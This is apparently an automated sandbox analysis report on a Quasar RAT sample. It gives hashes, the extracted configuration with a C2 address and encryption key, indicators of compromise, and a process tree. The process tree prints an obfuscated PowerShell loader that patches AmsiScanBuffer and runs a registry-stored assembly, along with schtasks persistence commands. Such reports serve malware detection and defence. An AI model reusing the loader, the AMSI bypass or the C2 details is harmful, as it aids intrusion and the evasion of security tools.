Analysis
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max time kernel
150s -
max time network
144s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
23/04/2024, 20:29
Behavioral task
behavioral1
Sample
real.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
real.exe
Resource
win10v2004-20240226-en
General
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Target
real.exe
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Size
409KB
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MD5
16be7896ffd96f3c15ca40ff3243674f
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SHA1
321e82e120535d5f48430284804d5aca5f78d8c7
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SHA256
e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07
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SHA512
6dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad
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SSDEEP
12288:8Bwz9Fx/nIlyLcnRKIZduz8IWQygCLZG9:8+J0sLYpuz8bQygB
Malware Config
Extracted
quasar
3.1.5
RSlaves
147.185.221.19:33587
$Sxr-hphEGEvqSUG7C0u46T
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encryption_key
6jSzwDnfbfYdZp3ml07G
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install_name
WDefenderUpdater.exe
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log_directory
UpdLog
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reconnect_delay
3000
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startup_key
WindowsBIOSupd
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subdirectory
Microsoft
Signatures
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Quasar payload 2 IoCs
resource yara_rule behavioral1/memory/4240-0-0x00000000005B0000-0x000000000061C000-memory.dmp family_quasar behavioral1/files/0x000900000001ab61-10.dat family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
description pid Process procid_target PID 3512 created 580 3512 powershell.EXE 5 PID 2432 created 2284 2432 svchost.exe 92 PID 2432 created 5100 2432 svchost.exe 94 -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
pid Process 836 WDefenderUpdater.exe 224 Install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 raw.githubusercontent.com 7 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3512 set thread context of 4040 3512 powershell.EXE 83 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 dwm.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags dwm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_QEMU&PROD_HARDDISK\4&215468A5&0&000000 dwm.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags dwm.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2412 schtasks.exe 1028 schtasks.exe 4364 SCHTASKS.exe -
Modifies data under HKEY_USERS 44 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3512 powershell.EXE 3512 powershell.EXE 3512 powershell.EXE 3512 powershell.EXE 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 2432 svchost.exe 2432 svchost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 3328 WerFault.exe 4040 dllhost.exe 4040 dllhost.exe 2432 svchost.exe 2432 svchost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 4040 dllhost.exe 836 WDefenderUpdater.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe 512 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 4240 real.exe Token: SeDebugPrivilege 836 WDefenderUpdater.exe Token: SeDebugPrivilege 3512 powershell.EXE Token: SeDebugPrivilege 3512 powershell.EXE Token: SeDebugPrivilege 4040 dllhost.exe Token: SeCreateGlobalPrivilege 1928 dwm.exe Token: SeChangeNotifyPrivilege 1928 dwm.exe Token: 33 1928 dwm.exe Token: SeIncBasePriorityPrivilege 1928 dwm.exe Token: SeCreateGlobalPrivilege 2788 dwm.exe Token: SeChangeNotifyPrivilege 2788 dwm.exe Token: 33 2788 dwm.exe Token: SeIncBasePriorityPrivilege 2788 dwm.exe Token: SeDebugPrivilege 3328 WerFault.exe Token: SeDebugPrivilege 512 WerFault.exe -
Suspicious use of FindShellTrayWindow 8 IoCs
pid Process 2788 dwm.exe 2788 dwm.exe 2788 dwm.exe 2788 dwm.exe 2788 dwm.exe 2788 dwm.exe 2788 dwm.exe 2788 dwm.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 836 WDefenderUpdater.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4240 wrote to memory of 2412 4240 real.exe 73 PID 4240 wrote to memory of 2412 4240 real.exe 73 PID 4240 wrote to memory of 2412 4240 real.exe 73 PID 4240 wrote to memory of 836 4240 real.exe 75 PID 4240 wrote to memory of 836 4240 real.exe 75 PID 4240 wrote to memory of 836 4240 real.exe 75 PID 836 wrote to memory of 1028 836 WDefenderUpdater.exe 76 PID 836 wrote to memory of 1028 836 WDefenderUpdater.exe 76 PID 836 wrote to memory of 1028 836 WDefenderUpdater.exe 76 PID 4240 wrote to memory of 224 4240 real.exe 78 PID 4240 wrote to memory of 224 4240 real.exe 78 PID 4240 wrote to memory of 224 4240 real.exe 78 PID 4240 wrote to memory of 4364 4240 real.exe 79 PID 4240 wrote to memory of 4364 4240 real.exe 79 PID 4240 wrote to memory of 4364 4240 real.exe 79 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 3512 wrote to memory of 4040 3512 powershell.EXE 83 PID 4040 wrote to memory of 580 4040 dllhost.exe 5 PID 4040 wrote to memory of 648 4040 dllhost.exe 7 PID 4040 wrote to memory of 748 4040 dllhost.exe 10 PID 4040 wrote to memory of 908 4040 dllhost.exe 13 PID 4040 wrote to memory of 980 4040 dllhost.exe 14 PID 4040 wrote to memory of 364 4040 dllhost.exe 15 PID 4040 wrote to memory of 636 4040 dllhost.exe 16 PID 4040 wrote to memory of 1084 4040 dllhost.exe 18 PID 4040 wrote to memory of 1092 4040 dllhost.exe 19 PID 4040 wrote to memory of 1136 4040 dllhost.exe 20 PID 4040 wrote to memory of 1176 4040 dllhost.exe 21 PID 648 wrote to memory of 2400 648 lsass.exe 44 PID 4040 wrote to memory of 1228 4040 dllhost.exe 22 PID 4040 wrote to memory of 1308 4040 dllhost.exe 23 PID 4040 wrote to memory of 1340 4040 dllhost.exe 24 PID 648 wrote to memory of 2400 648 lsass.exe 44 PID 4040 wrote to memory of 1360 4040 dllhost.exe 25 PID 4040 wrote to memory of 1388 4040 dllhost.exe 26 PID 4040 wrote to memory of 1496 4040 dllhost.exe 27 PID 4040 wrote to memory of 1540 4040 dllhost.exe 28 PID 4040 wrote to memory of 1564 4040 dllhost.exe 29 PID 580 wrote to memory of 1928 580 winlogon.exe 86 PID 580 wrote to memory of 1928 580 winlogon.exe 86 PID 4040 wrote to memory of 1928 4040 dllhost.exe 86 PID 648 wrote to memory of 2400 648 lsass.exe 44 PID 4040 wrote to memory of 1620 4040 dllhost.exe 30 PID 4040 wrote to memory of 1700 4040 dllhost.exe 31 PID 4040 wrote to memory of 1716 4040 dllhost.exe 32 PID 4040 wrote to memory of 1848 4040 dllhost.exe 33 PID 4040 wrote to memory of 1856 4040 dllhost.exe 34 PID 648 wrote to memory of 2400 648 lsass.exe 44 PID 4040 wrote to memory of 1940 4040 dllhost.exe 35 PID 4040 wrote to memory of 1956 4040 dllhost.exe 36 PID 4040 wrote to memory of 900 4040 dllhost.exe 37 PID 4040 wrote to memory of 2096 4040 dllhost.exe 38 PID 4040 wrote to memory of 2228 4040 dllhost.exe 39 PID 4040 wrote to memory of 2244 4040 dllhost.exe 40 PID 580 wrote to memory of 2788 580 winlogon.exe 88 PID 580 wrote to memory of 2788 580 winlogon.exe 88 PID 4040 wrote to memory of 2788 4040 dllhost.exe 88 PID 648 wrote to memory of 2400 648 lsass.exe 44
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:980
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{651dcb02-b01d-4c6f-9019-c01811fd73c0}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4040
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1928
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2788
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:648
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:748
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:908
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:364
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:636
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1084
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:aVjAinlrNNqI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MpvxcJgWQvyZVv,[Parameter(Position=1)][Type]$kdRZDTumjB)$nWoRrWUxuNu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+[Char](108)+'e'+'c'+'t'+[Char](101)+'d'+'D'+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+'e'+[Char](84)+'yp'+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+'S'+'e'+'a'+'l'+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'Au'+[Char](116)+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+'s'+'',[MulticastDelegate]);$nWoRrWUxuNu.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+'y'+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$MpvxcJgWQvyZVv).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+'d'+'');$nWoRrWUxuNu.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$kdRZDTumjB,$MpvxcJgWQvyZVv).SetImplementationFlags('R'+[Char](117)+'nti'+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+'d'+'');Write-Output $nWoRrWUxuNu.CreateType();}$wnJwkmyMaMnBL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+'s'+[Char](111)+''+'f'+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+'2'+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'Nat'+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$xqbVVeJgtistqf=$wnJwkmyMaMnBL.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](80)+''+'r'+''+'o'+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'ta'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YnDbSxKrVypkjnaBfvL=aVjAinlrNNqI @([String])([IntPtr]);$mhKsDBlhGmcaoShFsHSebz=aVjAinlrNNqI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gGLGiVNGNnp=$wnJwkmyMaMnBL.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$drPITyYyhoKHNv=$xqbVVeJgtistqf.Invoke($Null,@([Object]$gGLGiVNGNnp,[Object]('L'+'o'+''+[Char](97)+'dLi'+[Char](98)+'r'+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$DITsbIAxTYVoieYot=$xqbVVeJgtistqf.Invoke($Null,@([Object]$gGLGiVNGNnp,[Object](''+'V'+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+'c'+'t')));$UcBoPLN=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($drPITyYyhoKHNv,$YnDbSxKrVypkjnaBfvL).Invoke('ams'+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+'l'+'');$zQzQwxTkMFrNYdhNy=$xqbVVeJgtistqf.Invoke($Null,@([Object]$UcBoPLN,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$rtlSuGxTVN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DITsbIAxTYVoieYot,$mhKsDBlhGmcaoShFsHSebz).Invoke($zQzQwxTkMFrNYdhNy,[uint32]8,4,[ref]$rtlSuGxTVN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zQzQwxTkMFrNYdhNy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DITsbIAxTYVoieYot,$mhKsDBlhGmcaoShFsHSebz).Invoke($zQzQwxTkMFrNYdhNy,[uint32]8,0x20,[ref]$rtlSuGxTVN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+''+[Char](115)+'ta'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3512
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵PID:1092
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:1136
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1176
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1228
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1308
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1340
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1360
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1388
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c:\windows\system32\sihost.exesihost.exe2⤵PID:2912
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1496
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1540
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1564
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1620
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1856
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1940
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1956
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:900
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:2096
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2228
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2244
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2252
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2292
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2368
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2400
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2416
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2436
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2456
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2628
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:2904
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3004
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3160
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3292
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C:\Users\Admin\AppData\Local\Temp\real.exe"C:\Users\Admin\AppData\Local\Temp\real.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\real.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:2412
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C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe"C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:1028
